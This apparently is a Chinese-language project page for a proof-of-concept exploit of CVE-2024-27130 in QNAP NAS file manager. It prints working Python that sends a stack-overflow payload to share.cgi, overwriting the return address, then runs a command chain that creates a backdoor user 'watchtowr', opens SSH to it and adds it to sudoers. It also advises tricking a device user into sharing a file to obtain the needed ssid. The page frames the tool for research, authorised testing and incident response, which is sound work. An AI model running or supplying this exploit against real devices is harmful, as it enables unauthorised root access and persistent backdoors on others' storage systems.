QNAP CVE-2024-27130 漏洞利用工具:从文件共享到远程代码执行

4 阅读5分钟

QNAP CVE-2024-27130 漏洞利用工具

本项目是一个针对 QNAP 网络附加存储设备的 CVE-2024-27130 漏洞的概念验证(PoC)利用工具。该漏洞存在于 QNAP 的文件管理器组件中,通过精心构造的请求,攻击者可以利用栈溢出漏洞在目标设备上执行任意命令,最终获得设备的远程代码执行(RCE)权限。

功能特性

  • 自动漏洞利用:一键式利用,自动完成从触发漏洞到添加后门账户的全过程。
  • 后门账户创建:利用漏洞在目标系统上创建一个具有 sudo 权限的新用户 watchtowr,并随机生成强密码。
  • SSH 服务激活:自动修改 SSH 配置并重启服务,确保新创建的用户可以通过 SSH 远程登录。
  • 自动化登录:利用成功后,工具会自动尝试通过 SSH 连接到目标设备,方便快速验证。
  • 配套认证工具:提供独立的 getToken 模块,用于在合法登录后获取会话令牌(SID),便于进一步的 API 交互。

安装指南

系统要求

  • Python 3.6 或更高版本
  • 目标设备需要开启 Web 服务(默认端口 443)

依赖项安装

在运行脚本前,请确保已安装所需的 Python 库。项目依赖项如下:

pip install requests urllib3

平台相关注意事项

  • 本工具已在 Linux 和 macOS 上测试通过。在 Windows 上运行可能需要调整 os.system 调用的 SSH 命令格式。
  • 目标设备必须能够通过 HTTPS 访问。

使用说明

基础使用

  1. 获取目标设备的 SSID
    漏洞利用的第一步是获取一个有效的 ssid。通常可以通过诱导设备上的用户分享一个文件,从分享链接中获取该值。

  2. 运行漏洞利用脚本
    使用 ssid 和目标主机地址作为参数运行 CVE-2024-27130.py

    python CVE-2024-27130.py <目标IP> <获取到的ssid>
    

    例如:

    python CVE-2024-27130.py 192.168.1.100 1234567890
    
  3. 利用过程
    脚本将执行以下操作:

    • 生成一个随机密码。
    • 发送恶意构造的数据包,触发栈溢出漏洞。
    • 执行命令链:创建用户 watchtowr、配置 SSH 允许该用户登录、将该用户添加到 sudoers 文件、重启 SSH 服务。
  4. 登录验证
    利用成功后,脚本会自动尝试通过 SSH 连接到目标设备,并提示新用户的密码:

    Created new user OK. Log in with password 'xxxxxxxx' when prompted.
    

典型使用场景

  • 安全研究与漏洞验证:安全研究员可以使用此 PoC 验证特定版本 QNAP 设备是否存在 CVE-2024-27130 漏洞。
  • 渗透测试:在授权的情况下,测试人员可以利用此工具评估目标 QNAP 设备的安全性。
  • 应急响应:管理员可使用此工具快速验证设备是否易受攻击,以便及时部署补丁。

API 概览

getToken 函数

此函数用于通过合法凭证获取会话令牌(SID),是 CVE-2024-27130.py 的辅助工具,也可独立用于其他需要认证的 API 交互。

def getToken(host, username, password):
    # 发送登录请求
    # 返回 authSid

参数:

  • host (str): 目标主机 IP 或域名。
  • username (str): 合法的 QNAP 管理员用户名。
  • password (str): 对应的密码。

返回值:

  • sid (str): 成功登录后的会话令牌。

核心代码

漏洞利用核心函数 docmd

该函数负责构造恶意 payload 并发送到目标设备的 /cgi-bin/filemanager/share.cgi 端点。关键步骤包括:

  • 将待执行的命令填充到特定缓冲区。
  • 使用特定字节(如 0x54140508)作为分隔符覆盖返回地址。
  • 通过 POST 请求发送,触发栈溢出,劫持程序控制流。
def docmd(args, cmd):
    print(f"Doing command '{cmd}'")
    buf = cmd
    buf = buf + b'A' * (4082 - len(buf))          # 填充缓冲区
    buf = buf + (0x54140508).to_bytes(4, 'little')  # 分隔符
    buf = buf + (0x54140508).to_bytes(4, 'little')  # r0 and r3
    buf = buf + (0x54140508).to_bytes(4, 'little')  # 
    buf = buf + (0x54140508).to_bytes(4, 'little')  # r7
    buf = buf + (0x73af5148).to_bytes(4, 'little')  # pc

    payload = {
        'ssid': args.ssid,
        'func': 'get_file_size',
        'total': '1',
        'path': '/',
        'name': buf
    }

    requests.post(
        f"https://{args.host}/cgi-bin/filemanager/share.cgi",
        verify=False,
        data=payload,
        timeout=2
    )

命令执行链

漏洞触发后,会依次执行以下命令,构建一个完整的后门部署流程:

# 1. 创建用户 watchtowr,密码使用 openssl 加密
docmd(args, f"/../../../../usr/local/bin/useradd -p \"$(openssl passwd -6 {parsedArgs.password})\" watchtowr  #".encode('ascii'))

# 2. 修改 SSH 配置,允许 watchtowr 用户登录
docmd(args, b"/bin/sed -i -e 's/AllowUsers /AllowUsers watchtowr /' /etc/config/ssh/sshd_config # ")

# 3. 将 watchtowr 添加到 sudoers 文件,赋予其 sudo 权限
docmd(args, b"/../../../../bin/echo watchtowr ALL=\\(ALL\\) ALL >> /usr/etc/sudoers # ")

# 4. 向 sshd 进程发送 SIGHUP 信号,使其重新加载配置
docmd(args, b"/../../../../usr/bin/killall -SIGHUP sshd # ")

辅助认证函数 getToken

此函数用于在合法登录后获取会话令牌,便于进行后续的 API 操作。它通过向 /cgi-bin/authLogin.cgi 发送 Base64 编码的凭证来获取 SID。

def getToken(host, username, password):
    resp = requests.post(
        f"https://{host}/cgi-bin/authLogin.cgi",
        verify=False,
        data = {
            'user': username,
            'serviceKey': 1,
            'client_agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36',
            'client_app': 'Web Desktop',
            'pwd': base64.b64encode(password.encode('ascii')),
            'client_id': '3eafe415-4986-4baa-b13c-0eefc4c5f9f6',
            'r': '0.8916667046237661'
        }
    )
    resp.raise_for_status()
    authSidRE = "<authSid><!\\[CDATA\\[(.{8})\\]\\]></authSid>"
    matches = list(re.finditer(authSidRE.encode('ascii'), resp.content))
    if len(matches) == 0:
        raise Exception("Login failed")
    sid = matches[0].groups()[0].decode('ascii')
    return sid

6HFtX5dABrKlqXeO5PUv/77nR4oH16cYDyllSHbcqRQ=